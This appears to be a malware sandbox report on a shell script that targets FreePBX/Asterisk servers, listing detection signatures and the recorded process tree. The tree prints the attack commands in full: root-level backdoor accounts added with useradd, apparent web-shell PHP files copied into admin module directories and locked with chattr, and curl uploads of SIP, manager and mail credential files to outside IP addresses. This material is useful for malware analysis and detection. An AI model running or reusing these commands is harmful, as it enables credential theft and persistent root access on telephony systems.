Analysis

  • max time kernel
    138s
  • max time network
    140s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09/08/2026, 19:54

General

  • Target
    k.php.sh
  • Size 48KB
  • Sample260809-ymr8macc29
  • SHA256 c962067f11b2f516f0686d4c659b2717aaff65ca529bf0e03d51f9ce70f9537f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies password files for system users/ groups 1 TTPs 8 IoCs

    Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • OS Credential Dumping 1 TTPs 2 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

  • Adds a user to the system 4 IoCs
  • Deobfuscate/Decode Files or Information 1 TTPs 9 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

  • Checks CPU configuration 1 TTPs 35 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 20 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/k.php.sh
    /tmp/k.php.sh
    1⤵
    • Writes file to tmp directory
    PID:643
    • /bin/bash
      bash
      2⤵
        PID:651
      • /usr/bin/curl
        curl http://160.119.69.4/x -ks
        2⤵
        • Checks CPU configuration
        PID:649
      • /bin/cp
        cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
        2⤵
        • Reads runtime system information
        PID:780
      • /bin/bash
        bash
        2⤵
          PID:783
          • /usr/sbin/useradd
            useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx
            3⤵
            • Modifies password files for system users/ groups
            • OS Credential Dumping
            • Adds a user to the system
            • Reads runtime system information
            PID:784
            • /usr/sbin/nscd
              nscd -i passwd
              4⤵
                PID:785
              • /usr/sbin/nscd
                nscd -i group
                4⤵
                  PID:786
                • /usr/sbin/nscd
                  nscd -i passwd
                  4⤵
                    PID:787
                  • /usr/sbin/nscd
                    nscd -i group
                    4⤵
                      PID:788
                • /usr/bin/base64
                  base64 -d
                  2⤵
                  • Deobfuscate/Decode Files or Information
                  PID:782
                • /usr/bin/base64
                  base64 -d
                  2⤵
                  • Deobfuscate/Decode Files or Information
                  PID:790
                • /bin/bash
                  bash
                  2⤵
                    PID:791
                    • /usr/sbin/useradd
                      useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax
                      3⤵
                      • Modifies password files for system users/ groups
                      • OS Credential Dumping
                      • Adds a user to the system
                      • Reads runtime system information
                      PID:792
                      • /usr/sbin/nscd
                        nscd -i passwd
                        4⤵
                          PID:793
                        • /usr/sbin/nscd
                          nscd -i group
                          4⤵
                            PID:794
                          • /usr/sbin/nscd
                            nscd -i passwd
                            4⤵
                              PID:795
                            • /usr/sbin/nscd
                              nscd -i group
                              4⤵
                                PID:796
                          • /usr/bin/base64
                            base64 -d
                            2⤵
                            • Deobfuscate/Decode Files or Information
                            PID:800
                          • /bin/bash
                            bash
                            2⤵
                              PID:801
                              • /usr/sbin/useradd
                                useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx
                                3⤵
                                • Adds a user to the system
                                • Reads runtime system information
                                PID:802
                            • /bin/bash
                              bash
                              2⤵
                                PID:805
                                • /usr/sbin/useradd
                                  useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax
                                  3⤵
                                  • Adds a user to the system
                                  • Reads runtime system information
                                  PID:806
                              • /usr/bin/base64
                                base64 -d
                                2⤵
                                • Deobfuscate/Decode Files or Information
                                PID:804
                              • /bin/mkdir
                                mkdir -p /var/www/html/rest_phones/
                                2⤵
                                • Reads runtime system information
                                PID:807
                              • /bin/mkdir
                                mkdir -p /var/www/html/admin/modules/h/
                                2⤵
                                  PID:808
                                • /bin/mkdir
                                  mkdir -p /var/www/html/admin/modules/fpbxphones/
                                  2⤵
                                  • Reads runtime system information
                                  PID:809
                                • /bin/mkdir
                                  mkdir -p /var/www/html/admin/modules/phones/
                                  2⤵
                                  • Reads runtime system information
                                  PID:810
                                • /bin/cp
                                  cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
                                  2⤵
                                  • Reads runtime system information
                                  PID:811
                                • /bin/cp
                                  cp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/ajax.php
                                  2⤵
                                    PID:812
                                  • /bin/cp
                                    cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/ajax.php
                                    2⤵
                                      PID:813
                                    • /bin/cp
                                      cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/ajax.php
                                      2⤵
                                      • Reads runtime system information
                                      PID:814
                                    • /bin/cp
                                      cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/ajax.php
                                      2⤵
                                        PID:815
                                      • /bin/cp
                                        cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/config.php
                                        2⤵
                                        • Reads runtime system information
                                        PID:816
                                      • /bin/cp
                                        cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/config.php
                                        2⤵
                                          PID:817
                                        • /bin/cp
                                          cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/config.php
                                          2⤵
                                            PID:818
                                          • /bin/cp
                                            cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/index.php
                                            2⤵
                                            • Reads runtime system information
                                            PID:819
                                          • /bin/cp
                                            cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/index.php
                                            2⤵
                                            • Reads runtime system information
                                            PID:820
                                          • /bin/cp
                                            cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/index.php
                                            2⤵
                                            • Reads runtime system information
                                            PID:821
                                          • /usr/bin/touch
                                            touch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php
                                            2⤵
                                              PID:822
                                            • /bin/chmod
                                              chmod +x /var/www/html/admin/views/ajax.php
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:825
                                            • /usr/bin/chattr
                                              chattr +i /var/www/html/admin/views/ajax.php
                                              2⤵
                                                PID:826
                                              • /usr/bin/chattr
                                                chattr +a /var/www/html/admin/views/ajax.php
                                                2⤵
                                                  PID:827
                                                • /usr/bin/chattr
                                                  chattr +i /var/www/html/h.php
                                                  2⤵
                                                    PID:828
                                                  • /usr/bin/chattr
                                                    chattr +a /var/www/html/h.php
                                                    2⤵
                                                      PID:829
                                                    • /usr/bin/base64
                                                      base64 -d
                                                      2⤵
                                                      • Deobfuscate/Decode Files or Information
                                                      PID:831
                                                    • /bin/bash
                                                      bash /tmp/test.sh
                                                      2⤵
                                                        PID:832
                                                        • /bin/ls
                                                          ls -la
                                                          3⤵
                                                          • Reads runtime system information
                                                          PID:835
                                                        • /bin/cat
                                                          cat /etc/passwd
                                                          3⤵
                                                            PID:836
                                                          • /bin/ls
                                                            ls -ls /home
                                                            3⤵
                                                              PID:837
                                                            • /bin/mkdir
                                                              mkdir -p /var/www/html/admin/modules/freepbx_ha/
                                                              3⤵
                                                              • Reads runtime system information
                                                              PID:838
                                                            • /bin/mv
                                                              mv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license
                                                              3⤵
                                                              • Reads runtime system information
                                                              PID:839
                                                            • /usr/bin/base64
                                                              base64 -d
                                                              3⤵
                                                              • Deobfuscate/Decode Files or Information
                                                              PID:841
                                                            • /bin/rm
                                                              rm -f /var/www/html/admin/modules/freepbx_ha/license.php
                                                              3⤵
                                                                PID:842
                                                              • /bin/mv
                                                                mv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php
                                                                3⤵
                                                                  PID:843
                                                                • /bin/ls
                                                                  ls -la
                                                                  3⤵
                                                                  • Reads runtime system information
                                                                  PID:844
                                                                • /usr/bin/base64
                                                                  base64 -d
                                                                  3⤵
                                                                  • Deobfuscate/Decode Files or Information
                                                                  PID:846
                                                                • /bin/ls
                                                                  ls -la
                                                                  3⤵
                                                                  • Reads runtime system information
                                                                  PID:847
                                                                • /bin/cat
                                                                  cat /etc/passwd
                                                                  3⤵
                                                                    PID:848
                                                                  • /bin/ls
                                                                    ls -ls /home
                                                                    3⤵
                                                                    • Reads runtime system information
                                                                    PID:849
                                                                • /bin/rm
                                                                  rm -rf /tmp/test.sh
                                                                  2⤵
                                                                    PID:850
                                                                  • /bin/bash
                                                                    bash /var/spool/asterisk/tmp/test.sh
                                                                    2⤵
                                                                      PID:853
                                                                    • /bin/rm
                                                                      rm -rf /var/spool/asterisk/tmp/test.sh
                                                                      2⤵
                                                                        PID:854
                                                                      • /bin/bash
                                                                        bash
                                                                        2⤵
                                                                          PID:857
                                                                          • /usr/bin/curl
                                                                            curl -F "file=@/etc/asterisk/sip_additional.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                            3⤵
                                                                            • Checks CPU configuration
                                                                            • Reads runtime system information
                                                                            • System Network Configuration Discovery
                                                                            PID:858
                                                                          • /usr/bin/curl
                                                                            curl -F "file=@/etc/asterisk/sip_registrations.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                            3⤵
                                                                            • Checks CPU configuration
                                                                            • Reads runtime system information
                                                                            • System Network Configuration Discovery
                                                                            PID:859
                                                                          • /usr/bin/curl
                                                                            curl -F "file=@/etc/asterisk/manager.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                            3⤵
                                                                            • Checks CPU configuration
                                                                            • Reads runtime system information
                                                                            PID:860
                                                                          • /usr/bin/curl
                                                                            curl -F "file=@/etc/asterisk/pjsip.identify.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                            3⤵
                                                                            • Checks CPU configuration
                                                                            • System Network Configuration Discovery
                                                                            PID:861
                                                                          • /usr/bin/curl
                                                                            curl -F "file=@/etc/asterisk/pjsip.transports.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                            3⤵
                                                                            • Checks CPU configuration
                                                                            • Reads runtime system information
                                                                            • System Network Configuration Discovery
                                                                            PID:862
                                                                          • /usr/bin/curl
                                                                            curl -F "file=@/etc/asterisk/pjsip.aor.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                            3⤵
                                                                            • Checks CPU configuration
                                                                            • Reads runtime system information
                                                                            • System Network Configuration Discovery
                                                                            PID:863
                                                                          • /usr/bin/curl
                                                                            curl -F "file=@/etc/asterisk/pjsip.auth.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                            3⤵
                                                                            • Checks CPU configuration
                                                                            • Reads runtime system information
                                                                            • System Network Configuration Discovery
                                                                            PID:864
                                                                          • /usr/bin/curl
                                                                            curl -F "file=@/etc/asterisk/sip_general_additional.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                            3⤵
                                                                            • Checks CPU configuration
                                                                            • Reads runtime system information
                                                                            • System Network Configuration Discovery
                                                                            PID:865
                                                                          • /usr/bin/curl
                                                                            curl -F "file=@/etc/postfix/sasl_passwd" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                            3⤵
                                                                            • Checks CPU configuration
                                                                            • Reads runtime system information
                                                                            PID:866
                                                                          • /usr/bin/curl
                                                                            curl -F "file=@/etc/amportal.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                            3⤵
                                                                            • Checks CPU configuration
                                                                            • Reads runtime system information
                                                                            PID:867
                                                                          • /usr/bin/curl
                                                                            curl -F "file=@/etc/asterisk/amportal.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                            3⤵
                                                                            • Checks CPU configuration
                                                                            • Reads runtime system information
                                                                            PID:868
                                                                          • /usr/bin/curl
                                                                            curl -F "file=@/etc/asterisk/pjsip.endpoint.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                            3⤵
                                                                            • Checks CPU configuration
                                                                            • Reads runtime system information
                                                                            • System Network Configuration Discovery
                                                                            PID:869
                                                                          • /usr/bin/curl
                                                                            curl -F "file=@/etc/asterisk/sip_custom.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                            3⤵
                                                                            • Checks CPU configuration
                                                                            • Reads runtime system information
                                                                            • System Network Configuration Discovery
                                                                            PID:870
                                                                          • /usr/bin/curl
                                                                            curl -F "file=@/etc/asterisk/sip.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                            3⤵
                                                                            • Checks CPU configuration
                                                                            • Reads runtime system information
                                                                            • System Network Configuration Discovery
                                                                            PID:871
                                                                          • /usr/bin/curl
                                                                            curl -F "file=@/etc/freepbx.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                            3⤵
                                                                            • Checks CPU configuration
                                                                            • Reads runtime system information
                                                                            PID:872
                                                                          • /usr/bin/curl
                                                                            curl -F "file=@/etc/issabel.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                            3⤵
                                                                            • Checks CPU configuration
                                                                            • Reads runtime system information
                                                                            PID:873
                                                                          • /usr/bin/curl
                                                                            curl -F "file=@/etc/elastix.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                            3⤵
                                                                            • Checks CPU configuration
                                                                            • Reads runtime system information
                                                                            PID:874
                                                                        • /usr/bin/base64
                                                                          base64 -d
                                                                          2⤵
                                                                          • Deobfuscate/Decode Files or Information
                                                                          PID:856
                                                                        • /bin/bash
                                                                          bash
                                                                          2⤵
                                                                            PID:877
                                                                            • /usr/bin/curl
                                                                              curl -F "file=@/etc/asterisk/sip_additional.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                              3⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • System Network Configuration Discovery
                                                                              PID:878
                                                                            • /usr/bin/curl
                                                                              curl -F "file=@/etc/asterisk/sip_registrations.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                              3⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • System Network Configuration Discovery
                                                                              PID:879
                                                                            • /usr/bin/curl
                                                                              curl -F "file=@/etc/asterisk/manager.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                              3⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              PID:880
                                                                            • /usr/bin/curl
                                                                              curl -F "file=@/etc/asterisk/pjsip.identify.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                              3⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • System Network Configuration Discovery
                                                                              PID:881
                                                                            • /usr/bin/curl
                                                                              curl -F "file=@/etc/asterisk/pjsip.transports.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                              3⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • System Network Configuration Discovery
                                                                              PID:882
                                                                            • /usr/bin/curl
                                                                              curl -F "file=@/etc/asterisk/pjsip.aor.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                              3⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • System Network Configuration Discovery
                                                                              PID:883
                                                                            • /usr/bin/curl
                                                                              curl -F "file=@/etc/asterisk/pjsip.auth.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                              3⤵
                                                                              • Checks CPU configuration
                                                                              • System Network Configuration Discovery
                                                                              PID:884
                                                                            • /usr/bin/curl
                                                                              curl -F "file=@/etc/asterisk/sip_general_additional.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                              3⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • System Network Configuration Discovery
                                                                              PID:885
                                                                            • /usr/bin/curl
                                                                              curl -F "file=@/etc/postfix/sasl_passwd" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                              3⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              PID:886
                                                                            • /usr/bin/curl
                                                                              curl -F "file=@/etc/amportal.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                              3⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              PID:887
                                                                            • /usr/bin/curl
                                                                              curl -F "file=@/etc/asterisk/amportal.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                              3⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              PID:888
                                                                            • /usr/bin/curl
                                                                              curl -F "file=@/etc/asterisk/pjsip.endpoint.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                              3⤵
                                                                              • Checks CPU configuration
                                                                              • System Network Configuration Discovery
                                                                              PID:889
                                                                            • /usr/bin/curl
                                                                              curl -F "file=@/etc/asterisk/sip_custom.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                              3⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • System Network Configuration Discovery
                                                                              PID:890
                                                                            • /usr/bin/curl
                                                                              curl -F "file=@/etc/asterisk/sip.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                              3⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • System Network Configuration Discovery
                                                                              PID:891
                                                                            • /usr/bin/curl
                                                                              curl -F "file=@/etc/freepbx.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                              3⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              PID:892
                                                                            • /usr/bin/curl
                                                                              curl -F "file=@/etc/issabel.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                              3⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              PID:893
                                                                            • /usr/bin/curl
                                                                              curl -F "file=@/etc/elastix.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                              3⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              PID:894
                                                                          • /usr/bin/base64
                                                                            base64 -d
                                                                            2⤵
                                                                            • Deobfuscate/Decode Files or Information
                                                                            PID:876

                                                                        Network

                                                                              MITRE ATT&CK Enterprise v16

                                                                              Replay Monitor

                                                                              Loading Replay Monitor...

                                                                              Downloads

                                                                              passwd+

                                                                              • Path /etc/passwd+
                                                                              • Size 1KB
                                                                              • SHA256 7804a9bf801c95d7fc06aa3f9fc86d79c830ab728773e47c97039ae10503e411
                                                                              • MD5 SHA1 SHA512 TLSH

                                                                              passwd+

                                                                              • Path /etc/passwd+
                                                                              • Size 1KB
                                                                              • SHA256 1a9fa1774e7cef8530dada15004b2ca577ec490967c73215576c462845d0b3dc
                                                                              • MD5 SHA1 SHA512 TLSH

                                                                              shadow+

                                                                              • Path /etc/shadow+
                                                                              • Size 949B
                                                                              • SHA256 b4a5b0224001002a0820e8a14a479b279fc18f27ae8ed609f8ed4b2b981c501a
                                                                              • MD5 SHA1 SHA512 TLSH

                                                                              shadow+

                                                                              • Path /etc/shadow+
                                                                              • Size 909B
                                                                              • SHA256 cd9054ae260efcfd3d66ea53f9a31f585999f61f8565be6955a82f26a590823f
                                                                              • MD5 SHA1 SHA512 TLSH

                                                                              subuid+

                                                                              • Path /etc/subuid+
                                                                              • Size 59B
                                                                              • SHA256 da8f26f0a2ae8764c3e20dc22bc65cca4e3484540596ef7ceaafac71c26abd7c
                                                                              • MD5 SHA1 SHA512 TLSH

                                                                              subuid+

                                                                              • Path /etc/subuid+
                                                                              • Size 39B
                                                                              • SHA256 9316f27c6431ca1472e0bbdc728ecd20cb7eab44fd03b2a04f6d643e99a24e89
                                                                              • MD5 SHA1 SHA512

                                                                              test.sh

                                                                              • Path /tmp/test.sh
                                                                              • Size 12KB
                                                                              • SHA256 20d80d9403f12e730915bf419cdd8f65d1ee09ebfe5f2f382f2d8aa0511ea4ab
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH